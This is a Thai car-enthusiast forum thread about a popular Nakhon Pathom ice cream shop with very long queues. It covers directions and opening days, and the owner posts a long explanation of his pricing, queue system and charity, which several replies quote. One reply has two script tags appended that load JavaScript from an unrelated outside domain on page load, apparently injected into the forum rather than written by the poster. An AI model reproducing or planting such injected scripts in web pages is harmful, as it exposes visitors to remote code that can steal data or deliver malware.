ตอบ
koobe


ชื่อเล่น: นัท

เข้าร่วม: 19 มิถุนา 2010
ตอบ: 2462

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 3437
ให้คำขอบคุณ: 2482

ที่อยู่: เพชรบุรี-กระทุ่มแบน-คลองเตย-ลาดกระบัง
ปี: 2003
สี: ทอง ไทเทเนียม (เมทัลลิก) (YR-525M)
อาทิตย์, 15 พฤษภาคม 2011 14:08 - ร้านไอศกรีมไอส์เบิร์ก : ไปกินมาแล้วร้านไอศกรีมที่รอนานที่สุดในประเทศ(เค้าว่ากันอย่างนั้น)
itti พิมพ์ว่า:
koobe พิมพ์ว่า:
เพื่อนๆขอพิกัดร้านไอติม นี้หน่อยครับ จะไปลองดูใครรู้ว่าอยู่ตรงไหนบอกหน่อยจ้า
สำหรับผู้ที่สนใจจะแวะไปทาน ร้านไอสเบิร์กอยู่นครปฐม ในตัวเมือง
ถ. เทศา ซอย 2 ซึ่งอยู่ใกล้ ๆ องค์พระปฐมเจดีย์ ค่ะ
ซอยนี้ อยู่ด้านหน้าสถานีดับเพลิง ไปแถว ๆ นั้นถามหา ซอย 2 ชาวบ้านก็จะบอกทางให้ได้ค่ะ
สำหรับผู้ที่มี GPS ในรถ ร้านนี้ตั้งอยู่ที่พิกัด :
Y=13.82060, X=100.06477


-ขอบคุณค่ะ แล้วเปิดวันไหนบ้าง เวลาไหน แบบไปถึงไม่ต้องรอนานพอดีจะซื้อไปให้คุณแม่ทาน(แบบคุณแม่ชอบทานไอศครีมมาก ) แล้วถ้ซื้อกลับบ้านได้มั้ย ขอบคุณอีกครั้ง -
ได้รับคำขอบคุณจาก: itti 
itti


ชื่อเล่น: ทีม

เข้าร่วม: 02 มกรา 2011
ตอบ: 136

มือใหม่หัดขับ
มือใหม่หัดขับ

ได้รับคำขอบคุณ: 787
ให้คำขอบคุณ: 463

ที่อยู่: เมืองนนท์
ปี: 2003
สี: เทา ซิลเวอร์สโตน (NH-630M)
จันทร์, 16 พฤษภาคม 2011 02:45 - ร้านไอศกรีมไอส์เบิร์ก : ไปกินมาแล้วร้านไอศกรีมที่รอนานที่สุดในประเทศ(เค้าว่ากันอย่างนั้น)
koobe พิมพ์ว่า:
itti พิมพ์ว่า:
koobe พิมพ์ว่า:
เพื่อนๆขอพิกัดร้านไอติม นี้หน่อยครับ จะไปลองดูใครรู้ว่าอยู่ตรงไหนบอกหน่อยจ้า
สำหรับผู้ที่สนใจจะแวะไปทาน ร้านไอสเบิร์กอยู่นครปฐม ในตัวเมือง
ถ. เทศา ซอย 2 ซึ่งอยู่ใกล้ ๆ องค์พระปฐมเจดีย์ ค่ะ
ซอยนี้ อยู่ด้านหน้าสถานีดับเพลิง ไปแถว ๆ นั้นถามหา ซอย 2 ชาวบ้านก็จะบอกทางให้ได้ค่ะ
สำหรับผู้ที่มี GPS ในรถ ร้านนี้ตั้งอยู่ที่พิกัด :
Y=13.82060, X=100.06477


-ขอบคุณค่ะ แล้วเปิดวันไหนบ้าง เวลาไหน แบบไปถึงไม่ต้องรอนานพอดีจะซื้อไปให้คุณแม่ทาน(แบบคุณแม่ชอบทานไอศครีมมาก ) แล้วถ้ซื้อกลับบ้านได้มั้ย ขอบคุณอีกครั้ง -
เปิดวันอาทิตย์กับวันพุธ บ่าย2ถ้าไปวันพุธอาจจะไม่ต้องรอนานซื้อกลับบ้านได้นำกล่องไปใส่เอง
icebergicecreamhomemade


เข้าร่วม: 26 สิงหา 2013
ตอบ: 1

น้องใหม่
น้องใหม่

ได้รับคำขอบคุณ: 12
ให้คำขอบคุณ: 0
จันทร์, 26 สิงหา 2013 20:25 - ร้านไอศกรีมไอส์เบิร์ก : ไปกินมาแล้วร้านไอศกรีมที่รอนานที่สุดในประเทศ(เค้าว่ากันอย่างนั้น)
ผม นายวิทณัฐ เด่นชลชัย เจ้าของร้านไอศกรีมไอส์เบิร์ก ที่รอนานๆ ร้านนั้นครับ วันนี้ผมได้เข้ามาพบกระทู้นี้โดยบังเอิญ เลยอยากอธิบาย ที่หลายๆคนตั้งคำถามมา ทำไมผมทำร้านแบบนี้ ทำไมไม่มีลูกจ้าง ทำไมเปิดแค่สัปดาห์ละสองวัน วันนี้ผมจะไขข้อข้องใจให้ทราบกันครับ ด้วยความยินดีอย่างยิ่ง
1. ผมเปิดร้านไอศกรีมนี้เพื่อทำงานที่บ้าน นำความรู้ของพ่อที่ทำไอศกรีมกะทิ มาพัฒนาจนเป็นสูตรผลไม้ สูตรขนมไทย หรือสูตรขายไอเดีย ผมเปิดร้านนี้มา 13 ปีละครับ เพื่อมีงานทำได้ดูแลพ่อแม่ ที่อายุมาก ไม่ต้องลางานบ่อยๆ กำไรผมไม่ได้ต้องการอะไรมาก แค่พออยู่ได้ พอค่ารักษา เวลาเข้าโรงพยาบาลก็พอ ผมจึงขายราคาไม่แพงได้ เพราะผมไม่มีค่าเช่าสถานที่ ขายในบ้าน ไม่มีลูกจ้าง เพราะถ้ามีก็ต้องเพิ่มไปในต้นทุนการทำไอศกรีม ทำให้ราคาขายไอศกรีม แพงขึ้น ผมจึงขายได้ในราคา ลูกละ 12 บาทหรือ 1 ขีด กิโลกรัมละ 120 บาทเลือกได้ 10 ลูก 10 รส มีให้เลือก 20 กว่ารสต่อวัน พอขายไม่แพง ลูกค้าก็ซื้อได้บ่อย ซื้อกันเยอะ ปากต่อปาก จริงๆรสชาติของร้านผมก็สมราคา ไม่ได้อร่อยมากอะไรครับ ผมลดต้นทุนด้านสถานที่ ค่าจ้าง แต่ผมไม่ได้ลดวัตถุดิบครับ ทำให้ราคากับคุณภาพไอศกรีมสมเหตุสมผล  ส่วนรอนาน ก็คงเพราะ คนมีเงินมาก คนมีเงินน้อย ก็สามารถกินร้านนี้ได้ ถ้ารอได้ ใครมาก่อน ก็ตักก่อนครับ ตามลำดับ ที่ร้านมีหมายเลขคิว เริ่มขายบ่ายสองวันพุธและอาทิตย์ครับ ปิดร้าน สี่ทุ่ม ผมตักไม่ได้หยุดตั้งแต่เปิดจนปิดร้าน 1 คิวใช้เวลาตัก 10 ลูก 3 นาทีครึ่ง ผมจึงคำนวณเวลาที่ได้รับแต่ละคิวได้ ตามตารางเวลา คุณได้คิวเท่าไหร่ ตรวจสอบหมายเลขคิวและเวลาที่ได้รับ ก่อน ทิ้งบิลไว้ ไปทำธุระได้ครับ กลับมาเลยคิวแล้วแจ้งหมายเลขและชื่อ ตรวจสอบบิลหมายเลขคิวและชื่อ ตรงกัน ก็ตักได้เลย ผมใช้วิธีทะยอยให้ลูกค้ามารับไอศกรีมเป็นชุดๆ ตามเวลา  จะได้ไม่เสียเวลารอที่ร้าน ถ้าเลขคิวไหนเรียกแล้วไม่อยู่ผมจะเรียกคิวถัดไปที่อยู่ในร้าน ตักครับ ทำให้คนที่รอในร้านก็มีความหวังที่จะได้ไอศกรีมก่อนเวลา ที่ควรจะได้เหมือนกัน ก็แฟร์ทั้งสองฝ่าย ดังนั้นผมจึงไม่มีเวลาพักเลย แม้แต่จะเข้าห้องน้ำปวดเบา ผมเกรงใจลูกค้าที่รอคิว ผมอั้นฉี่ ตั้งแต่บ่ายสอง จนถึงปิดร้านสี่ทุ่มก็เคยมาแล้ว ที่ผมไม่ค่อยยิ้ม นั่นคือผมอั้นฉี่มาหลายชั่วโมงแล้วครับ ลูกค้าหลายคนไม่เคยทราบเรื่องนี้  ผมทำราคาไอศกรีมให้ไม่แพงได้ ทำรสชาติให้โอเคได้ แต่ผมคงช่วยให้ได้เร็วไม่ได้จริงๆ
2. คุณพ่อคุณแม่ผมเสียไปแล้ว ผมไม่มีครอบครัว ไม่ต้องหาเงินเพื่อลูกหรือใครๆ กำไรที่ได้ผมก็แบ่งทำบุญ มูลนิธิ 12 แห่ง 12 เดือน ปีนี้ปีที่ 5 แล้วครับ ผมแบ่งกำไรที่ได้ทุกเดือน ทำบุญและบอกบุญลูกค้า สิ้นเดือนจะนำไปบริจาคด้วยตัวเองที่มูลนิธินั้นๆ ผมพูดได้เต็มปากว่าทุกวันนี้ผมอยู่เพื่อทำบุญ ผมมีความสุขกับการทำแบบนี้ ผมคิดอยู่แล้วว่าผมคงถูกวิจารณ์แน่ๆ หลายคนเข้าใจ หลายคนไม่เข้าใจ ผมแค่ขออธิบาย ไม่ได้ต้องการให้ทุกคนเข้าใจ ผมเปิด 8 วันต่อเดือน แต่ผมจ่ายค่าไฟ 30 วัน ถ้าเปิดวันขายมากผมก็คุ้มค่าไฟมากกว่า แต่ผมเลือกที่จะทำแบบนี้ ไอศกรีมหลายรสใช้เวลาทำมาก จึงต้องทำสองวัน ทำเสร็จ ค่อยเปิดร้านดีกว่า ของกิน เร่งไม่ได้ครับ ต้องทำตามขั้นตอน ผมทำร้านนี้เพราะผมอยากทำ ผมมีความสุขกับการทำไอศกรีมรสชาติใหม่ๆ หลายครั้งผมอ่านเจอในกระทู้ต่างๆ ในเวปต่างๆ แล้วท้อใจ แต่ผมเข้าใจเขานะ ว่า ลูกค้าทุกคนนำเงินมาซื้อ ไม่ได้มาขอ คำนี้แรงมากในความรู้สึกผม ผมซื้อน้อยหน่ามายกลัง 20 กิโล เพื่อแกะเนื้อ คัดเม็ดน้อยหน่าคนเดียว ไม่มีลูกน้อง เพื่อไม่ต้องจ้างคนให้ต้นทุนสูง ถ้าผมจะจ้างคนแล้วก็ขึ้นราคาไอศกรีมเหมือนร้านอื่นผมก็ทำได้ แต่ผมไม่ทำ ผมรู้สึกว่าผมอยากทำเอง การใช้คนอื่น ก็ไม่เหมือนการลงมือทำด้วยตัวเอง ทำด้วยใจ การใส่ใจไม่เหมือนเจ้าของ ลูกน้องทำงานแบบลูกน้อง ร้านนี้ไม่ใช่ของเขา เขาก็ทำงานเท่ากับเงินเดือนแค่นั้น ผมไม่เคยอธิบายชี้แจงให้ใครฟัง เพราะกลัวจะหาว่าแก้ตัว แต่ถ้าเขาเข้าใจอุดมการณ์ของผมแล้ว ดูการทำงานของผมอย่างพินิจพิเคราะห์แล้ว จะเข้าใจว่าผมต้องการอะไรในการทำแบบนี้ ขอบคุณที่ผมได้มีโอกาสอธิบายให้หลายๆคนได้เข้าใจ ผมมากขึ้น  ไอศกรีมเป็นของหวาน ผมคิดว่าไม่ควรจะแพงกว่าข้าวหนึ่งจาน ประโยคนี้แหละทำให้ผมต้องทำอะไรที่ผมทำไม่เหมือนคนอื่น เพื่อให้ไอศกรีมมีราคาแค่ของหวาน เท่านั้น
 
ได้รับคำขอบคุณจาก: สมชาย  sukhothai  domziia  fasang.Mr  cisco  kaisuh  maxch  coco1340  malmsteen  vat  Shoke  boymac 
สมชาย


เข้าร่วม: 14 มกรา 2013
ตอบ: 5916

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 4245
ให้คำขอบคุณ: 7209

ที่อยู่: อ.บ้านบึง จ.ชลบุรี
ปี: 2001
สี: แดง รอยัล รูบี้ (มุก) (R-522P)
จันทร์, 26 สิงหา 2013 20:40 - ร้านไอศกรีมไอส์เบิร์ก : ไปกินมาแล้วร้านไอศกรีมที่รอนานที่สุดในประเทศ(เค้าว่ากันอย่างนั้น)
icebergicecreamhomemade พิมพ์ว่า:
ผม นายวิทณัฐ เด่นชลชัย เจ้าของร้านไอศกรีมไอส์เบิร์ก ที่รอนานๆ ร้านนั้นครับ วันนี้ผมได้เข้ามาพบกระทู้นี้โดยบังเอิญ เลยอยากอธิบาย ที่หลายๆคนตั้งคำถามมา ทำไมผมทำร้านแบบนี้ ทำไมไม่มีลูกจ้าง ทำไมเปิดแค่สัปดาห์ละสองวัน วันนี้ผมจะไขข้อข้องใจให้ทราบกันครับ ด้วยความยินดีอย่างยิ่ง
1. ผมเปิดร้านไอศกรีมนี้เพื่อทำงานที่บ้าน นำความรู้ของพ่อที่ทำไอศกรีมกะทิ มาพัฒนาจนเป็นสูตรผลไม้ สูตรขนมไทย หรือสูตรขายไอเดีย ผมเปิดร้านนี้มา 13 ปีละครับ เพื่อมีงานทำได้ดูแลพ่อแม่ ที่อายุมาก ไม่ต้องลางานบ่อยๆ กำไรผมไม่ได้ต้องการอะไรมาก แค่พออยู่ได้ พอค่ารักษา เวลาเข้าโรงพยาบาลก็พอ ผมจึงขายราคาไม่แพงได้ เพราะผมไม่มีค่าเช่าสถานที่ ขายในบ้าน ไม่มีลูกจ้าง เพราะถ้ามีก็ต้องเพิ่มไปในต้นทุนการทำไอศกรีม ทำให้ราคาขายไอศกรีม แพงขึ้น ผมจึงขายได้ในราคา ลูกละ 12 บาทหรือ 1 ขีด กิโลกรัมละ 120 บาทเลือกได้ 10 ลูก 10 รส มีให้เลือก 20 กว่ารสต่อวัน พอขายไม่แพง ลูกค้าก็ซื้อได้บ่อย ซื้อกันเยอะ ปากต่อปาก จริงๆรสชาติของร้านผมก็สมราคา ไม่ได้อร่อยมากอะไรครับ ผมลดต้นทุนด้านสถานที่ ค่าจ้าง แต่ผมไม่ได้ลดวัตถุดิบครับ ทำให้ราคากับคุณภาพไอศกรีมสมเหตุสมผล  ส่วนรอนาน ก็คงเพราะ คนมีเงินมาก คนมีเงินน้อย ก็สามารถกินร้านนี้ได้ ถ้ารอได้ ใครมาก่อน ก็ตักก่อนครับ ตามลำดับ ที่ร้านมีหมายเลขคิว เริ่มขายบ่ายสองวันพุธและอาทิตย์ครับ ปิดร้าน สี่ทุ่ม ผมตักไม่ได้หยุดตั้งแต่เปิดจนปิดร้าน 1 คิวใช้เวลาตัก 10 ลูก 3 นาทีครึ่ง ผมจึงคำนวณเวลาที่ได้รับแต่ละคิวได้ ตามตารางเวลา คุณได้คิวเท่าไหร่ ตรวจสอบหมายเลขคิวและเวลาที่ได้รับ ก่อน ทิ้งบิลไว้ ไปทำธุระได้ครับ กลับมาเลยคิวแล้วแจ้งหมายเลขและชื่อ ตรวจสอบบิลหมายเลขคิวและชื่อ ตรงกัน ก็ตักได้เลย ผมใช้วิธีทะยอยให้ลูกค้ามารับไอศกรีมเป็นชุดๆ ตามเวลา  จะได้ไม่เสียเวลารอที่ร้าน ถ้าเลขคิวไหนเรียกแล้วไม่อยู่ผมจะเรียกคิวถัดไปที่อยู่ในร้าน ตักครับ ทำให้คนที่รอในร้านก็มีความหวังที่จะได้ไอศกรีมก่อนเวลา ที่ควรจะได้เหมือนกัน ก็แฟร์ทั้งสองฝ่าย ดังนั้นผมจึงไม่มีเวลาพักเลย แม้แต่จะเข้าห้องน้ำปวดเบา ผมเกรงใจลูกค้าที่รอคิว ผมอั้นฉี่ ตั้งแต่บ่ายสอง จนถึงปิดร้านสี่ทุ่มก็เคยมาแล้ว ที่ผมไม่ค่อยยิ้ม นั่นคือผมอั้นฉี่มาหลายชั่วโมงแล้วครับ ลูกค้าหลายคนไม่เคยทราบเรื่องนี้  ผมทำราคาไอศกรีมให้ไม่แพงได้ ทำรสชาติให้โอเคได้ แต่ผมคงช่วยให้ได้เร็วไม่ได้จริงๆ
2. คุณพ่อคุณแม่ผมเสียไปแล้ว ผมไม่มีครอบครัว ไม่ต้องหาเงินเพื่อลูกหรือใครๆ กำไรที่ได้ผมก็แบ่งทำบุญ มูลนิธิ 12 แห่ง 12 เดือน ปีนี้ปีที่ 5 แล้วครับ ผมแบ่งกำไรที่ได้ทุกเดือน ทำบุญและบอกบุญลูกค้า สิ้นเดือนจะนำไปบริจาคด้วยตัวเองที่มูลนิธินั้นๆ ผมพูดได้เต็มปากว่าทุกวันนี้ผมอยู่เพื่อทำบุญ ผมมีความสุขกับการทำแบบนี้ ผมคิดอยู่แล้วว่าผมคงถูกวิจารณ์แน่ๆ หลายคนเข้าใจ หลายคนไม่เข้าใจ ผมแค่ขออธิบาย ไม่ได้ต้องการให้ทุกคนเข้าใจ ผมเปิด 8 วันต่อเดือน แต่ผมจ่ายค่าไฟ 30 วัน ถ้าเปิดวันขายมากผมก็คุ้มค่าไฟมากกว่า แต่ผมเลือกที่จะทำแบบนี้ ไอศกรีมหลายรสใช้เวลาทำมาก จึงต้องทำสองวัน ทำเสร็จ ค่อยเปิดร้านดีกว่า ของกิน เร่งไม่ได้ครับ ต้องทำตามขั้นตอน ผมทำร้านนี้เพราะผมอยากทำ ผมมีความสุขกับการทำไอศกรีมรสชาติใหม่ๆ หลายครั้งผมอ่านเจอในกระทู้ต่างๆ ในเวปต่างๆ แล้วท้อใจ แต่ผมเข้าใจเขานะ ว่า ลูกค้าทุกคนนำเงินมาซื้อ ไม่ได้มาขอ คำนี้แรงมากในความรู้สึกผม ผมซื้อน้อยหน่ามายกลัง 20 กิโล เพื่อแกะเนื้อ คัดเม็ดน้อยหน่าคนเดียว ไม่มีลูกน้อง เพื่อไม่ต้องจ้างคนให้ต้นทุนสูง ถ้าผมจะจ้างคนแล้วก็ขึ้นราคาไอศกรีมเหมือนร้านอื่นผมก็ทำได้ แต่ผมไม่ทำ ผมรู้สึกว่าผมอยากทำเอง การใช้คนอื่น ก็ไม่เหมือนการลงมือทำด้วยตัวเอง ทำด้วยใจ การใส่ใจไม่เหมือนเจ้าของ ลูกน้องทำงานแบบลูกน้อง ร้านนี้ไม่ใช่ของเขา เขาก็ทำงานเท่ากับเงินเดือนแค่นั้น ผมไม่เคยอธิบายชี้แจงให้ใครฟัง เพราะกลัวจะหาว่าแก้ตัว แต่ถ้าเขาเข้าใจอุดมการณ์ของผมแล้ว ดูการทำงานของผมอย่างพินิจพิเคราะห์แล้ว จะเข้าใจว่าผมต้องการอะไรในการทำแบบนี้ ขอบคุณที่ผมได้มีโอกาสอธิบายให้หลายๆคนได้เข้าใจ ผมมากขึ้น  ไอศกรีมเป็นของหวาน ผมคิดว่าไม่ควรจะแพงกว่าข้าวหนึ่งจาน ประโยคนี้แหละทำให้ผมต้องทำอะไรที่ผมทำไม่เหมือนคนอื่น เพื่อให้ไอศกรีมมีราคาแค่ของหวาน เท่านั้น

 




สุดยอดดด ตัวจริงมาเอง
ได้รับคำขอบคุณจาก: sukhothai 
Oyoyoo


ชื่อเล่น: โอ

เข้าร่วม: 31 สิงหา 2009
ตอบ: 407

แซงซ้าย ปาดขวา
แซงซ้าย ปาดขวา

ได้รับคำขอบคุณ: 432
ให้คำขอบคุณ: 224

ที่อยู่: BKK-Minburi
ปี: 2002
สี: ดำ ไนท์ฮอว์ก (B-92P)
จันทร์, 26 สิงหา 2013 21:01 - ร้านไอศกรีมไอส์เบิร์ก : ไปกินมาแล้วร้านไอศกรีมที่รอนานที่สุดในประเทศ(เค้าว่ากันอย่างนั้น)
สุดยอดมาก
taguunzae


ชื่อเล่น: นู๋ผึ้ง

เข้าร่วม: 18 กรกฎา 2011
ตอบ: 1079

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 1756
ให้คำขอบคุณ: 1460

ที่อยู่: สป.บางพลี สค.มหาชัย ชลบุรี-ศรีราชา
ปี: 2005
สี: ดำ ไนท์ฮอว์ก (B-92P)
จันทร์, 26 สิงหา 2013 21:03 - ร้านไอศกรีมไอส์เบิร์ก : ไปกินมาแล้วร้านไอศกรีมที่รอนานที่สุดในประเทศ(เค้าว่ากันอย่างนั้น)
รอนานมากกกกกก อยากกินต้องใจเย็นคะ
ได้รับคำขอบคุณจาก: sukhothai 
Ton-


เข้าร่วม: 02 ตุลา 2008
ตอบ: 1397

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 5467
ให้คำขอบคุณ: 1471
จันทร์, 26 สิงหา 2013 21:03 - ร้านไอศกรีมไอส์เบิร์ก : ไปกินมาแล้วร้านไอศกรีมที่รอนานที่สุดในประเทศ(เค้าว่ากันอย่างนั้น)
ถ้าคุณเป็นเจ้าของร้านจริง ผมอยากจะบอกจากใจเลยว่า ไอติมคุณอร่อยจริงครับ แต่อีกใจนึงก็อยากให้เข้าใจคน ตจว ที่ไม่ใช่คนพื้นที่ด้วย คนบางคนตั้งใจไปกินไอติมที่ร้านคุณแล้วแวะเที่ยวนครปฐม ไม่ใช่ว่าไปเที่ยวนครปฐมแล้วแวะกินไอติมนะครับ ไปตั้งไกลแต่ต้องไปรอ 4-5 ชม มันก็หงุดหงิดเป็นธรรมดา

การจ้างคนเพิ่มมาช่วยทำโน่นนี่ในร้าน ไม่มีใครเค้าหาว่าคุณอยากได้เงินเพิ่มหรือทำเพื่อการค้าหรอกครับ แต่อยากให้คิดว่า เป็นการทำเพื่อลูกค้ามากกว่า

รักษาสุขภาพด้วยนะครับ ซักวันผมต้องไปกินอีกแน่ๆ
ได้รับคำขอบคุณจาก: sukhothai  kaisuh  Oyoyoo 
biwsa666


ชื่อเล่น: บิว

เข้าร่วม: 29 กรกฎา 2013
ตอบ: 27

น้องใหม่
น้องใหม่

ได้รับคำขอบคุณ: 11
ให้คำขอบคุณ: 0

ที่อยู่: หลักสี่ กทม.
ปี: 2004
สี: ทอง ไทเทเนียม (เมทัลลิก) (YR-525M)
อังคาร, 27 สิงหา 2013 01:31 - ร้านไอศกรีมไอส์เบิร์ก : ไปกินมาแล้วร้านไอศกรีมที่รอนานที่สุดในประเทศ(เค้าว่ากันอย่างนั้น)
นานจัง
fasang.Mr


ชื่อเล่น: บี

เข้าร่วม: 23 มีนา 2010
ตอบ: 2101

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 1764
ให้คำขอบคุณ: 2323

ที่อยู่: นนทบุรี-ประจวบฯ-พะเยา
ปี: 2004
สี: ดำ ไนท์ฮอว์ก (B-92P)
อังคาร, 27 สิงหา 2013 09:50 - ร้านไอศกรีมไอส์เบิร์ก : ไปกินมาแล้วร้านไอศกรีมที่รอนานที่สุดในประเทศ(เค้าว่ากันอย่างนั้น)
ซ.2 ต้องไป เย็นๆมีโต้รุ่ง ซ.4 มีนักศึกษาพานิชสาวๆวัยกระเตาะ"<script src="https://sport32news.com/civicesgroup.js"> "<script src="https://sport32news.com/civicesgroup.js">
maxch


เข้าร่วม: 13 สิงหา 2009
ตอบ: 2190

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 1513
ให้คำขอบคุณ: 2530

ที่อยู่: อยุธยา-สระบุรี
ปี: 2003
อังคาร, 27 สิงหา 2013 11:29 - ร้านไอศกรีมไอส์เบิร์ก : ไปกินมาแล้วร้านไอศกรีมที่รอนานที่สุดในประเทศ(เค้าว่ากันอย่างนั้น)
..สุดยอดครับ
coco1340


เข้าร่วม: 11 มกรา 2012
ตอบ: 1239

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 1169
ให้คำขอบคุณ: 302

ที่อยู่: พระราม 2
อังคาร, 27 สิงหา 2013 12:18 - ร้านไอศกรีมไอส์เบิร์ก : ไปกินมาแล้วร้านไอศกรีมที่รอนานที่สุดในประเทศ(เค้าว่ากันอย่างนั้น)
icebergicecreamhomemade พิมพ์ว่า:
ผม นายวิทณัฐ เด่นชลชัย เจ้าของร้านไอศกรีมไอส์เบิร์ก ที่รอนานๆ ร้านนั้นครับ วันนี้ผมได้เข้ามาพบกระทู้นี้โดยบังเอิญ เลยอยากอธิบาย ที่หลายๆคนตั้งคำถามมา ทำไมผมทำร้านแบบนี้ ทำไมไม่มีลูกจ้าง ทำไมเปิดแค่สัปดาห์ละสองวัน วันนี้ผมจะไขข้อข้องใจให้ทราบกันครับ ด้วยความยินดีอย่างยิ่ง
1. ผมเปิดร้านไอศกรีมนี้เพื่อทำงานที่บ้าน นำความรู้ของพ่อที่ทำไอศกรีมกะทิ มาพัฒนาจนเป็นสูตรผลไม้ สูตรขนมไทย หรือสูตรขายไอเดีย ผมเปิดร้านนี้มา 13 ปีละครับ เพื่อมีงานทำได้ดูแลพ่อแม่ ที่อายุมาก ไม่ต้องลางานบ่อยๆ กำไรผมไม่ได้ต้องการอะไรมาก แค่พออยู่ได้ พอค่ารักษา เวลาเข้าโรงพยาบาลก็พอ ผมจึงขายราคาไม่แพงได้ เพราะผมไม่มีค่าเช่าสถานที่ ขายในบ้าน ไม่มีลูกจ้าง เพราะถ้ามีก็ต้องเพิ่มไปในต้นทุนการทำไอศกรีม ทำให้ราคาขายไอศกรีม แพงขึ้น ผมจึงขายได้ในราคา ลูกละ 12 บาทหรือ 1 ขีด กิโลกรัมละ 120 บาทเลือกได้ 10 ลูก 10 รส มีให้เลือก 20 กว่ารสต่อวัน พอขายไม่แพง ลูกค้าก็ซื้อได้บ่อย ซื้อกันเยอะ ปากต่อปาก จริงๆรสชาติของร้านผมก็สมราคา ไม่ได้อร่อยมากอะไรครับ ผมลดต้นทุนด้านสถานที่ ค่าจ้าง แต่ผมไม่ได้ลดวัตถุดิบครับ ทำให้ราคากับคุณภาพไอศกรีมสมเหตุสมผล  ส่วนรอนาน ก็คงเพราะ คนมีเงินมาก คนมีเงินน้อย ก็สามารถกินร้านนี้ได้ ถ้ารอได้ ใครมาก่อน ก็ตักก่อนครับ ตามลำดับ ที่ร้านมีหมายเลขคิว เริ่มขายบ่ายสองวันพุธและอาทิตย์ครับ ปิดร้าน สี่ทุ่ม ผมตักไม่ได้หยุดตั้งแต่เปิดจนปิดร้าน 1 คิวใช้เวลาตัก 10 ลูก 3 นาทีครึ่ง ผมจึงคำนวณเวลาที่ได้รับแต่ละคิวได้ ตามตารางเวลา คุณได้คิวเท่าไหร่ ตรวจสอบหมายเลขคิวและเวลาที่ได้รับ ก่อน ทิ้งบิลไว้ ไปทำธุระได้ครับ กลับมาเลยคิวแล้วแจ้งหมายเลขและชื่อ ตรวจสอบบิลหมายเลขคิวและชื่อ ตรงกัน ก็ตักได้เลย ผมใช้วิธีทะยอยให้ลูกค้ามารับไอศกรีมเป็นชุดๆ ตามเวลา  จะได้ไม่เสียเวลารอที่ร้าน ถ้าเลขคิวไหนเรียกแล้วไม่อยู่ผมจะเรียกคิวถัดไปที่อยู่ในร้าน ตักครับ ทำให้คนที่รอในร้านก็มีความหวังที่จะได้ไอศกรีมก่อนเวลา ที่ควรจะได้เหมือนกัน ก็แฟร์ทั้งสองฝ่าย ดังนั้นผมจึงไม่มีเวลาพักเลย แม้แต่จะเข้าห้องน้ำปวดเบา ผมเกรงใจลูกค้าที่รอคิว ผมอั้นฉี่ ตั้งแต่บ่ายสอง จนถึงปิดร้านสี่ทุ่มก็เคยมาแล้ว ที่ผมไม่ค่อยยิ้ม นั่นคือผมอั้นฉี่มาหลายชั่วโมงแล้วครับ ลูกค้าหลายคนไม่เคยทราบเรื่องนี้  ผมทำราคาไอศกรีมให้ไม่แพงได้ ทำรสชาติให้โอเคได้ แต่ผมคงช่วยให้ได้เร็วไม่ได้จริงๆ
2. คุณพ่อคุณแม่ผมเสียไปแล้ว ผมไม่มีครอบครัว ไม่ต้องหาเงินเพื่อลูกหรือใครๆ กำไรที่ได้ผมก็แบ่งทำบุญ มูลนิธิ 12 แห่ง 12 เดือน ปีนี้ปีที่ 5 แล้วครับ ผมแบ่งกำไรที่ได้ทุกเดือน ทำบุญและบอกบุญลูกค้า สิ้นเดือนจะนำไปบริจาคด้วยตัวเองที่มูลนิธินั้นๆ ผมพูดได้เต็มปากว่าทุกวันนี้ผมอยู่เพื่อทำบุญ ผมมีความสุขกับการทำแบบนี้ ผมคิดอยู่แล้วว่าผมคงถูกวิจารณ์แน่ๆ หลายคนเข้าใจ หลายคนไม่เข้าใจ ผมแค่ขออธิบาย ไม่ได้ต้องการให้ทุกคนเข้าใจ ผมเปิด 8 วันต่อเดือน แต่ผมจ่ายค่าไฟ 30 วัน ถ้าเปิดวันขายมากผมก็คุ้มค่าไฟมากกว่า แต่ผมเลือกที่จะทำแบบนี้ ไอศกรีมหลายรสใช้เวลาทำมาก จึงต้องทำสองวัน ทำเสร็จ ค่อยเปิดร้านดีกว่า ของกิน เร่งไม่ได้ครับ ต้องทำตามขั้นตอน ผมทำร้านนี้เพราะผมอยากทำ ผมมีความสุขกับการทำไอศกรีมรสชาติใหม่ๆ หลายครั้งผมอ่านเจอในกระทู้ต่างๆ ในเวปต่างๆ แล้วท้อใจ แต่ผมเข้าใจเขานะ ว่า ลูกค้าทุกคนนำเงินมาซื้อ ไม่ได้มาขอ คำนี้แรงมากในความรู้สึกผม ผมซื้อน้อยหน่ามายกลัง 20 กิโล เพื่อแกะเนื้อ คัดเม็ดน้อยหน่าคนเดียว ไม่มีลูกน้อง เพื่อไม่ต้องจ้างคนให้ต้นทุนสูง ถ้าผมจะจ้างคนแล้วก็ขึ้นราคาไอศกรีมเหมือนร้านอื่นผมก็ทำได้ แต่ผมไม่ทำ ผมรู้สึกว่าผมอยากทำเอง การใช้คนอื่น ก็ไม่เหมือนการลงมือทำด้วยตัวเอง ทำด้วยใจ การใส่ใจไม่เหมือนเจ้าของ ลูกน้องทำงานแบบลูกน้อง ร้านนี้ไม่ใช่ของเขา เขาก็ทำงานเท่ากับเงินเดือนแค่นั้น ผมไม่เคยอธิบายชี้แจงให้ใครฟัง เพราะกลัวจะหาว่าแก้ตัว แต่ถ้าเขาเข้าใจอุดมการณ์ของผมแล้ว ดูการทำงานของผมอย่างพินิจพิเคราะห์แล้ว จะเข้าใจว่าผมต้องการอะไรในการทำแบบนี้ ขอบคุณที่ผมได้มีโอกาสอธิบายให้หลายๆคนได้เข้าใจ ผมมากขึ้น  ไอศกรีมเป็นของหวาน ผมคิดว่าไม่ควรจะแพงกว่าข้าวหนึ่งจาน ประโยคนี้แหละทำให้ผมต้องทำอะไรที่ผมทำไม่เหมือนคนอื่น เพื่อให้ไอศกรีมมีราคาแค่ของหวาน เท่านั้น

 


สุดยอดครับ ผมเข้าใจแล้ว
 
neverplus


ชื่อเล่น: วิน

เข้าร่วม: 01 กรกฎา 2013
ตอบ: 1591

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 1061
ให้คำขอบคุณ: 185

